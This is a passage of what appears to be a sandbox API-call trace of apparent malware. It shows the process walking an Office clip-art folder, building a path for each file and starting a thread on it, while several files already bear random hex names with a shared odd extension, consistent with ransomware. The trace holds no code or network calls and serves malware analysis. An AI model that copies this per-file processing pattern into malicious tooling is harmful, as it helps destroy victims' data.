dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0145.937] wcscmp (_String1="EN00006_.WMF", _String2=".") returned 1 [0145.937] wcscmp (_String1="EN00006_.WMF", _String2="..") returned 1 [0145.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e2b0 [0145.937] wcscpy (in: _Dest=0x1cf4e2b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.937] wcscat (in: _Dest=0x1cf4e2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.937] wcscat (in: _Dest=0x1cf4e2b0, _Source="EN00006_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" [0145.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x211c [0145.938] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0145.939] wcscmp (_String1="EN00202_.WMF", _String2=".") returned 1 [0145.939] wcscmp (_String1="EN00202_.WMF", _String2="..") returned 1 [0145.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e070 [0145.939] wcscpy (in: _Dest=0x1cf4e070, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.939] wcscat (in: _Dest=0x1cf4e070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.939] wcscat (in: _Dest=0x1cf4e070, _Source="EN00202_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" [0145.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2120 [0145.940] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0145.940] wcscmp (_String1="EN00222_.WMF", _String2=".") returned 1 [0145.940] wcscmp (_String1="EN00222_.WMF", _String2="..") returned 1 [0145.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e340 [0145.940] wcscpy (in: _Dest=0x1cf4e340, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.940] wcscat (in: _Dest=0x1cf4e340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.940] wcscat (in: _Dest=0x1cf4e340, _Source="EN00222_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" [0145.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2124 [0145.941] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1dc9900, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1dc9900, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0145.941] wcscmp (_String1="EN00242_.WMF", _String2=".") returned 1 [0145.941] wcscmp (_String1="EN00242_.WMF", _String2="..") returned 1 [0145.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e100 [0145.941] wcscpy (in: _Dest=0x1cf4e100, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.941] wcscat (in: _Dest=0x1cf4e100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.941] wcscat (in: _Dest=0x1cf4e100, _Source="EN00242_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" [0145.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2128 [0145.942] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec7300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7ec7300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0145.942] wcscmp (_String1="EN00319_.WMF", _String2=".") returned 1 [0145.943] wcscmp (_String1="EN00319_.WMF", _String2="..") returned 1 [0145.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4dd10 [0145.943] wcscpy (in: _Dest=0x1cf4dd10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.943] wcscat (in: _Dest=0x1cf4dd10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.943] wcscat (in: _Dest=0x1cf4dd10, _Source="EN00319_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" [0145.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x212c [0145.944] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bc3900, ftCreationTime.dwHighDateTime=0x1bd4af5, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bc3900, ftLastWriteTime.dwHighDateTime=0x1bd4af5, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0145.944] wcscmp (_String1="EN00320_.WMF", _String2=".") returned 1 [0145.944] wcscmp (_String1="EN00320_.WMF", _String2="..") returned 1 [0145.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4dfe0 [0145.944] wcscpy (in: _Dest=0x1cf4dfe0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.944] wcscat (in: _Dest=0x1cf4dfe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.944] wcscat (in: _Dest=0x1cf4dfe0, _Source="EN00320_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" [0145.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2130 [0145.945] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131c200, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1131c200, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0145.945] wcscmp (_String1="EN00397_.WMF", _String2=".") returned 1 [0145.945] wcscmp (_String1="EN00397_.WMF", _String2="..") returned 1 [0145.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4df50 [0145.945] wcscpy (in: _Dest=0x1cf4df50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.945] wcscat (in: _Dest=0x1cf4df50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.945] wcscat (in: _Dest=0x1cf4df50, _Source="EN00397_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" [0145.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2134 [0145.946] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51904f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51904f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0145.946] wcscmp (_String1="EN00902_.WMF", _String2=".") returned 1 [0145.946] wcscmp (_String1="EN00902_.WMF", _String2="..") returned 1 [0145.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e3d0 [0145.946] wcscpy (in: _Dest=0x1cf4e3d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.946] wcscat (in: _Dest=0x1cf4e3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.946] wcscat (in: _Dest=0x1cf4e3d0, _Source="EN00902_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" [0145.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2138 [0145.947] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0145.947] wcscmp (_String1="EXPLR_01.MID", _String2=".") returned 1 [0145.947] wcscmp (_String1="EXPLR_01.MID", _String2="..") returned 1 [0145.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4de30 [0145.948] wcscpy (in: _Dest=0x1cf4de30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.948] wcscat (in: _Dest=0x1cf4de30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.948] wcscat (in: _Dest=0x1cf4de30, _Source="EXPLR_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" [0145.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4de30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x213c [0145.949] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1446, dwReserved0=0x0, dwReserved1=0x0, cFileName="f10331344f3c.2f9b60", cAlternateFileName="F10331~1.2F9")) returned 1 [0145.949] wcscmp (_String1="f10331344f3c.2f9b60", _String2=".") returned 1 [0145.949] wcscmp (_String1="f10331344f3c.2f9b60", _String2="..") returned 1 [0145.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20506db0 [0145.949] wcscpy (in: _Dest=0x20506db0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.949] wcscat (in: _Dest=0x20506db0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.949] wcscat (in: _Dest=0x20506db0, _Source="f10331344f3c.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f10331344f3c.2f9b60" [0145.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2140 [0145.950] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="f1dabb217998.2f9b60", cAlternateFileName="F1DABB~1.2F9")) returned 1 [0145.950] wcscmp (_String1="f1dabb217998.2f9b60", _String2=".") returned 1 [0145.950] wcscmp (_String1="f1dabb217998.2f9b60", _String2="..") returned 1 [0145.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20506c70 [0145.951] wcscpy (in: _Dest=0x20506c70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.951] wcscat (in: _Dest=0x20506c70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.951] wcscat (in: _Dest=0x20506c70, _Source="f1dabb217998.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f1dabb217998.2f9b60" [0145.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2144 [0145.952] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa32, dwReserved0=0x0, dwReserved1=0x0, cFileName="f2089505b4e2.2f9b60", cAlternateFileName="F20895~1.2F9")) returned 1 [0145.952] wcscmp (_String1="f2089505b4e2.2f9b60", _String2=".") returned 1 [0145.952] wcscmp (_String1="f2089505b4e2.2f9b60", _String2="..") returned 1 [0145.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20506bd0 [0145.952] wcscpy (in: _Dest=0x20506bd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.952] wcscat (in: _Dest=0x20506bd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.952] wcscat (in: _Dest=0x20506bd0, _Source="f2089505b4e2.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f2089505b4e2.2f9b60" [0145.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2148 [0145.953] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="f51d7c94988f.2f9b60", cAlternateFileName="F51D7C~1.2F9")) returned 1 [0145.953] wcscmp (_String1="f51d7c94988f.2f9b60", _String2=".") returned 1 [0145.953] wcscmp (_String1="f51d7c94988f.2f9b60", _String2="..") returned 1 [0145.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507350 [0145.954] wcscpy (in: _Dest=0x20507350, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.954] wcscat (in: _Dest=0x20507350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.954] wcscat (in: _Dest=0x20507350, _Source="f51d7c94988f.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f51d7c94988f.2f9b60" [0145.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214c [0145.955] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x58fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="f63af82678c5.2f9b60", cAlternateFileName="F63AF8~1.2F9")) returned 1 [0145.955] wcscmp (_String1="f63af82678c5.2f9b60", _String2=".") returned 1 [0145.955] wcscmp (_String1="f63af82678c5.2f9b60", _String2="..") returned 1 [0145.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205073f0 [0145.955] wcscpy (in: _Dest=0x205073f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.955] wcscat (in: _Dest=0x205073f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.955] wcscat (in: _Dest=0x205073f0, _Source="f63af82678c5.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f63af82678c5.2f9b60" [0145.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205073f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2150 [0152.801] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1428, dwReserved0=0x0, dwReserved1=0x0, cFileName="f961f883a909.2f9b60", cAlternateFileName="F961F8~1.2F9")) returned 1 [0152.801] wcscmp (_String1="f961f883a909.2f9b60", _String2=".") returned 1 [0152.801] wcscmp (_String1="f961f883a909.2f9b60", _String2="..") returned 1 [0152.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c330 [0152.802] wcscpy (in: _Dest=0x4205c330, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.804] wcscat (in: _Dest=0x4205c330, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.804] wcscat (in: _Dest=0x4205c330, _Source="f961f883a909.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f961f883a909.2f9b60" [0152.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1200 [0152.805] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa6d4d9c49d4.2f9b60", cAlternateFileName="FA6D4D~1.2F9")) returned 1 [0152.805] wcscmp (_String1="fa6d4d9c49d4.2f9b60", _String2=".") returned 1 [0152.805] wcscmp (_String1="fa6d4d9c49d4.2f9b60", _String2="..") returned 1 [0152.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c470 